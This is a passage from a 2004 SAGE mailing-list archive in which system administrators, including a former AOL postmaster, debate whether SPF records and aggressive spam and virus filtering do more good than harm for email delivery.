[127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i13MSaxq045168; Tue, 3 Feb 2004 17:29:06 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040203165031.GM21320@darkuncle.net> References: <20040203165031.GM21320@darkuncle.net> Date: Tue, 3 Feb 2004 22:58:21 +0100 To: Scott Francis From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 8:50 AM -0800 2004/02/03, Scott Francis wrote: > put another way: better a solution that's 90% effective (or even 50% > effective), than no solution at all. Problem is, it won't even be 50% effective. See previous discussions. Heck, it won't even be 5% effective, and then there is all the collateral damage. > (Factoring in the negative effects, of > course, is where we seem to run into disagreements.) Indeed. ;( > If we reject any proposed solution that is not both 100% effective _and_ has > no bad side effects, we'll still be sitting here debating this issue ten > years from now. I'm not rejecting solutions because they're not 100% effective. I'm rejecting "solutions" that will be worse than the disease, even when viewed in the most positive light possible. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Tue Feb 3 14:29:19 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MTJcH001381 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 14:29:19 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13MTIQE001379 for sage-members-outgoing; Tue, 3 Feb 2004 14:29:18 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MTEcH001337 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 14:29:15 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i13MSaxk045168; Tue, 3 Feb 2004 17:28:50 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: References: Date: Tue, 3 Feb 2004 22:12:04 +0100 To: Mike Lambert From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 10:17 AM -0500 2004/02/03, Mike Lambert wrote: > This has not been my experience. Education and whitelisting has been > quite effective. Again, this is only for a small organization. I > understand that this might not scale (or work for ISPs). You are correct. That experience does not scale. When I worked at AOL and we had five million customers, I found that even my counterparts at Prodigy (our nearest competitors, at 2-3 million customers) would not see behaviour or understand what I was talking about, when I was seeing things on a daily basis (although they did later see the same behaviour, and finally caught on to what I was trying to get across). There was a knee in the curve somewhere between 2-3 million users and five million users, where things would happen to them on a monthly or weekly basis but which wasn't enough to show up on their radar, where the same things would happen to us on a daily or hourly basis and be pretty hot topics for wide discussion. > I disagree. AOL is publishing SPF TXT records. If I configure my MTA to > use this information, then I can reject all MAIL FROM @aol.com that does > not come from aol's designated outbound smtp servers. Looks like this > will help me reject spoofed aol mail. Maybe. If you implement it, you will reject e-mail from AOL users sending messages through /etc/aliases based mailing lists, or who send messages to people on other services who .forward their mail to your systems. You will also reject valid messages from AOL users, if your nameservers are vulnerable to cache poisoning/pollution, and they manage to get relevant garbage accumulated in them. I highlighted this as a top problem, even in TLD nameservers, in my invited talk "DNS Name Server Comparison: BIND 8 vs. BIND 9 vs. djbdns vs. ???" at LISA 2002 and BSDCon Europe 2003 (see ). > Yes. But, I think SPF is designed to address only domain spoofing, not > user spoofing. Which makes it basically useless. > Only if the virus/worm is designed to use the authorized outgoing email > server and uses the correct domain in MAIL FROM. It would pick up that information from the user's configuration. > Current virus/worms do > not do this (that I am aware of), but they certainly could in the > future. Once virus/worms are forced to use authorized email servers, > anti-virus software can prevent further spread. Of course, this assumes > anti-virus software is installed on the authorized servers. Which is not a valid assumption. In fact, today, we find that improperly configured anti-virus scanning systems are becoming a larger problem than the spam/viruses that they're responding to. Check the NANOG archives. > Blacklist the domain? It's trivially easy to register thousands or millions of domains. Spammers are already doing it today. Adding SPF records to this mix won't change anything. > SPF filter only on specific domains like aol, > hotmail, and yahoo? Still won't help. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Tue Feb 3 14:29:31 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MTVcH001482 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 14:29:31 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13MTU08001471 for sage-members-outgoing; Tue, 3 Feb 2004 14:29:31 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MTQcH001448 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 14:29:27 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i13MSaxw045168; Tue, 3 Feb 2004 17:29:22 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040203185429.GP21320@darkuncle.net> References: <20040203013552.GI29385@darkuncle.net> <20040203063414.E78C6C50D1@aurora.peterson.ath.cx> <1075826960.401fd110350aa@mail.tbcs.co.uk> <20040203184238.GL69255@bitshift.org> <20040203185429.GP21320@darkuncle.net> Date: Tue, 3 Feb 2004 23:11:07 +0100 To: Scott Francis From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 10:54 AM -0800 2004/02/03, Scott Francis wrote: > ANY software rollout has the potential to break things. Open relays, open > proxies, misconfigured routers, broken DNS servers, home cable/DSL routers > with firmware set to query non-existent NTP servers ... True enough. > one would hope that > those rolling out this software will take as much care as with any other > software that can cause harm to other parts of the Internet. Your own examples above are very clear indications of the trend towards the opposite. > I don't see how > SPF poses any more of a danger than a good share of the other stuff we > implement every day. Well, let's start with the fact that all the examples you provided are for protocols and methods that are generally very well understood in the industry, using RFCs and methods that have been known for many, many years -- decades in most cases. They have gone through a number of revisions during that time, and they've still been seriously, seriously screwed up. Now you're talking about doing that to a protocol which not even documented in a BCP or Informational RFC, at least not yet. Just how badly do you think they can possibly screw this up? Well, however bad that is, multiply that by several dozen orders of magnitude, and that would be a reasonable lower limit on just how bad things really will be. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Tue Feb 3 14:29:32 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MTVcH001483 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 14:29:31 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13MTUDj001473 for sage-members-outgoing; Tue, 3 Feb 2004 14:29:31 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MTRcH001452 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 14:29:28 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i13MSaxs045168; Tue, 3 Feb 2004 17:29:12 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <401FD8FD.8000309@snert.com> References: <401FD8FD.8000309@snert.com> Date: Tue, 3 Feb 2004 23:00:29 +0100 To: Anthony Howe From: Brad Knowles Subject: Re: [SAGE] Jan L. Peterson wrote: Cc: SAGE Members Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 6:23 PM +0100 2004/02/03, Anthony Howe wrote: > And if you're doing this sort of high level negotiations, then > you're talking lawyers and the passing of physical documents > for signing etc. by courriers. Only at the latest stages in the discussion. Management types really, really hate to get lawyers involved in anything, because lawyers sometimes say "no". > There are other methods of > communication than email and since email doesn't have the > concept of a "registered letter", then you can't count on it > being reliable these days. Don't make proclamations like this unless you have direct, personal, experience. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Tue Feb 3 14:29:37 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MTbcH001552 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 14:29:37 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13MTa74001542 for sage-members-outgoing; Tue, 3 Feb 2004 14:29:36 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MTWcH001496 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 14:29:33 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i13MSa00045168; Tue, 3 Feb 2004 17:29:28 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040203190229.GQ21320@darkuncle.net> References: <20040203013636.GJ29385@darkuncle.net> <20040203020321.GG69255@bitshift.org> <20040203190229.GQ21320@darkuncle.net> Date: Tue, 3 Feb 2004 23:14:31 +0100 To: Scott Francis From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 11:02 AM -0800 2004/02/03, Scott Francis wrote: > I guess my point of view is that the potential upset is outweighed by the > benefit in abuse reduction. Many times in the past, such predictions have been made. I won't invoke any examples, lest someone else whip out Godwin's law on me, but I think you take my point. > I suppose that particular value judgment will > probably have to be made by individuals on a per-domain and per-network > basis. Only history will tell. But plenty of us can try to avoid the worst of the damage, if we can. And try to make sure that our systems won't participate in the stupidity. Most of us will probably try to make sure that everyone knows whose fault is whose, as well. Are you willing to be named as a person standing on that side of the war? -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Tue Feb 3 14:29:44 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MThcH001617 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 14:29:44 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13MTgPs001600 for sage-members-outgoing; Tue, 3 Feb 2004 14:29:42 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MTbcH001556 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 14:29:38 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i13MSa02045168; Tue, 3 Feb 2004 17:29:34 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <16415.62420.112786.920931@azazel.infersys.com> References: <20040203152759.280DDA8A62@lucy.corp.lumeta.com> <16415.51443.701213.960605@azazel.infersys.com> <20040203163835.GJ69255@bitshift.org> <16415.62420.112786.920931@azazel.infersys.com> Date: Tue, 3 Feb 2004 23:18:06 +0100 To: Josh Smith From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 11:17 AM -0800 2004/02/03, Josh Smith wrote: > Users won't be happy if they can't conveniently check their e-mail from a > wireless hot spot, the comfort of a bubble bath, or the surface of Mars. > We should try to make users happy; it's one of the most important things > we do. But unhappy users are not a company-destroying problem; the "I > couldn't send e-mail from Starbucks, and as a result, the big merger fell > through" example is pretty far-fetched. Ditto "I couldn't send e-mail in > the middle of a sales-pitch/demo/whatever, so it fell through". Unless you have had personal experience to the contrary, don't make proclamations like this. Contrariwise, I have been on the reverse end, and have had more than a few people personally blaming me for the failure of their company, their personal bankruptcy, the loss of their house, etc.... I have had my personal details exposed to millions of people, in the hopes that at least some of them would take this situation quite personally, and do horrible and highly illegal things to my person. Unless you have had personal experience to the contrary, don't make proclamations. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Tue Feb 3 14:36:05 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13Ma5cH004117 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 14:36:05 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13Ma4vH004116 for sage-members-outgoing; Tue, 3 Feb 2004 14:36:05 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13Ma2cH004108 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 14:36:03 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i13MSaxu045168; Tue, 3 Feb 2004 17:29:18 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <87brogm3w8.fsf@gray.impulse.net> References: <20040203013552.GI29385@darkuncle.net> <20040203063414.E78C6C50D1@aurora.peterson.ath.cx> <87brogm3w8.fsf@gray.impulse.net> Date: Tue, 3 Feb 2004 23:04:18 +0100 To: Ted Cabeen From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: "Jan L. Peterson" , Scott Francis , sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 10:09 AM -0800 2004/02/03, Ted Cabeen wrote: > How is this substantially different from losing the merger because the > other company's mail server malfunctioned and dropped the mail? Because it's your fault. And your job. Well, it was your job. > Presumably the reason the mail wasn't delivered is because the other > company has SPF rules defined on their domain which your system > respects. That seems like a failure on their side. Since they > implemented SPF, it's their responsibility to provide mail submission > systems for their employees that allow them to send email from remote > locations. You might think so. The problem is that your CEO doesn't see it that way, and there's nothing you can do or say to change that perception. So, it's your fault, and you get fired. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Tue Feb 3 14:36:31 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MaVcH004236 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 14:36:31 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13MaVRD004235 for sage-members-outgoing; Tue, 3 Feb 2004 14:36:31 -0800 (PST) Received: from tiderace.darkuncle.net (tiderace.darkuncle.net [66.180.198.181]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MaScH004217 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 14:36:29 -0800 (PST) Received: from tiderace.darkuncle.net (sfrancis@localhost.darkuncle.net [127.0.0.1]) by tiderace.darkuncle.net (8.12.9/8.12.9) with ESMTP id i13MJa2j011549 for ; Tue, 3 Feb 2004 14:19:36 -0800 (PST) Received: (from sfrancis@localhost) by tiderace.darkuncle.net (8.12.9/8.12.9/Submit) id i13MJZFR002106 for sage-members@usenix.org; Tue, 3 Feb 2004 14:19:35 -0800 (PST) Date: Tue, 3 Feb 2004 14:19:35 -0800 From: Scott Francis To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203221935.GY21320@darkuncle.net> Mail-Followup-To: sage-members@usenix.org References: <20040203013636.GJ29385@darkuncle.net> <20040203020321.GG69255@bitshift.org> <20040203190229.GQ21320@darkuncle.net> <20040203193100.GU69255@bitshift.org> <20040203193135.GS21320@darkuncle.net> <20040203200659.GV69255@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203200659.GV69255@bitshift.org> User-Agent: Mutt/1.4.1i X-Operating-System: OpenBSD X-PGP-Fingerprint: 7429 F75D D3F5 FA45 C6D7 D25B 59A0 7B8C 5537 F527 X-PGP-Key: http://darkuncle.net/pubkey.asc X-PGP-Notice: encryption subkey 2048g/0CEFEA3C has been revoked - please use 2048R/18A88182 instead (available at above URL) X-What-Happen: Somebody set up us the bomb. Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tue, Feb 03, 2004 at 12:06:59PM -0800, mark@bitshift.org said: > On Tue, Feb 03, 2004 at 11:31:35AM -0800, Scott Francis wrote: > > > > How about the benefit of dropping the load on my primary MX from 72 to 3? > > In that scenario, your problem is not spam: Your problem is > inappropriate server specification. as others have pointed out, why should I be forced to allocate 4x the resources required to handle my actual mail load to also process someone else's abuse? Maybe we should just let every network operator run their network as they see fit, and let the Darwinian effect of the market sort it all out. I don't see that there's any way to reconcile viewpoints as diametrically opposed as ours seem to be. My network, my rules. Others are of course free to talk or not talk to me, but I will not bend to someone else's insistence that I accept and process their abusive traffic. If this attitude puts me out of business, well, that's the market at work. Surprisingly (or not, depending on how you look at it), there are ISPs out there that take this position, and are profitable. Maybe we should just wait and see whether the anti-spam camp or the open network folks win more market share over the next few years. I have a feeling the public will send their dollars to the service that they feel offers the best return on their money (by whatever measures such returns are rated). - -- Scott Francis | darkuncle(at)darkuncle(dot)net | 0x5537F527 "I gave you the chance of aiding me willingly, but you have elected the way of pain!" -- Saruman, speaking for sysadmins everywhere -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (OpenBSD) iD8DBQFAIB52WaB7jFU39ScRAv/VAJ452DkHRh6iRb/5f6/+9H5wUacRHgCeLxKw 5iy1z2bPLkqojZfRfI/XiJI= =GnMA -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Tue Feb 3 14:45:21 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MjLcH005293 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 14:45:21 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13MjLNe005292 for sage-members-outgoing; Tue, 3 Feb 2004 14:45:21 -0800 (PST) Received: from tiderace.darkuncle.net (tiderace.darkuncle.net [66.180.198.181]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MjIcH005283 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 14:45:19 -0800 (PST) Received: from tiderace.darkuncle.net (sfrancis@localhost.darkuncle.net [127.0.0.1]) by tiderace.darkuncle.net (8.12.9/8.12.9) with ESMTP id i13MSQ2j015569 for ; Tue, 3 Feb 2004 14:28:27 -0800 (PST) Received: (from sfrancis@localhost) by tiderace.darkuncle.net (8.12.9/8.12.9/Submit) id i13MSQZv028837 for sage-members@usenix.org; Tue, 3 Feb 2004 14:28:26 -0800 (PST) Date: Tue, 3 Feb 2004 14:28:26 -0800 From: Scott Francis To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203222826.GZ21320@darkuncle.net> Mail-Followup-To: sage-members@usenix.org References: <20040203013636.GJ29385@darkuncle.net> <20040203020321.GG69255@bitshift.org> <20040203190229.GQ21320@darkuncle.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-Operating-System: OpenBSD X-PGP-Fingerprint: 7429 F75D D3F5 FA45 C6D7 D25B 59A0 7B8C 5537 F527 X-PGP-Key: http://darkuncle.net/pubkey.asc X-PGP-Notice: encryption subkey 2048g/0CEFEA3C has been revoked - please use 2048R/18A88182 instead (available at above URL) X-What-Happen: Somebody set up us the bomb. Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tue, Feb 03, 2004 at 11:14:31PM +0100, brad.knowles@skynet.be said: [snip] > Many times in the past, such predictions have been made. I won't > invoke any examples, lest someone else whip out Godwin's law on me, > but I think you take my point. indirect references are still enough to trigger it, I think. :) > > I suppose that particular value judgment will > > probably have to be made by individuals on a per-domain and per-network > > basis. > > Only history will tell. But plenty of us can try to avoid the > worst of the damage, if we can. And try to make sure that our > systems won't participate in the stupidity. Most of us will probably > try to make sure that everyone knows whose fault is whose, as well. > > Are you willing to be named as a person standing on that side of the > war? let's just say I'm one of those who's willing to say, "My network, my rules. If you don't like it, don't talk to me." and see whether the customers prefer an open network with few restrictions, or a network with some (sensible) restrictions, and a whole heck of a lot less abuse (smtp and otherwise). The one thing we probably agree on is that it will be very interesting to see how this particular problem turns out over the next few years. - -- Scott Francis | darkuncle(at)darkuncle(dot)net | 0x5537F527 "I gave you the chance of aiding me willingly, but you have elected the way of pain!" -- Saruman, speaking for sysadmins everywhere -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (OpenBSD) iD8DBQFAICCIWaB7jFU39ScRAi+EAJ9FHMyhw8sORz2HxU0ZLAzx1O0s3wCgqU0W cFlowTRSSNcsFr/c04mzDaU= =1Mlh -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Tue Feb 3 14:48:41 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MmfcH005709 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 14:48:41 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13MmeI8005707 for sage-members-outgoing; Tue, 3 Feb 2004 14:48:40 -0800 (PST) Received: from tiderace.darkuncle.net (tiderace.darkuncle.net [66.180.198.181]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MmZcH005699 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 14:48:38 -0800 (PST) Received: from tiderace.darkuncle.net (sfrancis@localhost.darkuncle.net [127.0.0.1]) by tiderace.darkuncle.net (8.12.9/8.12.9) with ESMTP id i13MVg2j019466 for ; Tue, 3 Feb 2004 14:31:43 -0800 (PST) Received: (from sfrancis@localhost) by tiderace.darkuncle.net (8.12.9/8.12.9/Submit) id i13MVgou005308 for sage-members@usenix.org; Tue, 3 Feb 2004 14:31:42 -0800 (PST) Date: Tue, 3 Feb 2004 14:31:42 -0800 From: Scott Francis To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203223141.GA21320@darkuncle.net> Mail-Followup-To: sage-members@usenix.org References: <20040203152759.280DDA8A62@lucy.corp.lumeta.com> <16415.51443.701213.960605@azazel.infersys.com> <20040203163835.GJ69255@bitshift.org> <16415.62420.112786.920931@azazel.infersys.com> <20040203192629.GT69255@bitshift.org> <16416.2539.457285.889738@azazel.infersys.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <16416.2539.457285.889738@azazel.infersys.com> User-Agent: Mutt/1.4.1i X-Operating-System: OpenBSD X-PGP-Fingerprint: 7429 F75D D3F5 FA45 C6D7 D25B 59A0 7B8C 5537 F527 X-PGP-Key: http://darkuncle.net/pubkey.asc X-PGP-Notice: encryption subkey 2048g/0CEFEA3C has been revoked - please use 2048R/18A88182 instead (available at above URL) X-What-Happen: Somebody set up us the bomb. Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tue, Feb 03, 2004 at 12:51:55PM -0800, irilyth@infersys.com said: [snip] > The point I keep trying to make is that both spam and anti-spam are > annoying, and that our job is to figure out how to make our users as > un-annoyed as possible. This might mean aggressively filtering spam (at > the cost of lost e-mail or inconvenience sending mail from Istanbul); or > it might mean making it super easy to send mail from anywhere at any time > (at the cost of getting more spam); or it might mean explaining why this > is a hard problem, why every solution has some degree of annoyance, and > helping them figure out which annoyances are more tolerable. Some people > would rather put up with spam, and some would rather put up with > inconvenient technology to stop spam. > > I'm pretty sure that "everyone would rather get less spam" or "everyone > would rather put up with inconvenient anti-spam tech" are both entirely > false. There are trade-offs here, and I don't think there's a single point > that everyone will agree is the best balance. Sorry, but you'll just have > to talk to those pesky users and find out what they actually want. very nicely put. So nicely, in fact, that I think I'll shut up for a while and see how things shake out. :) (please, hold your applause) - -- Scot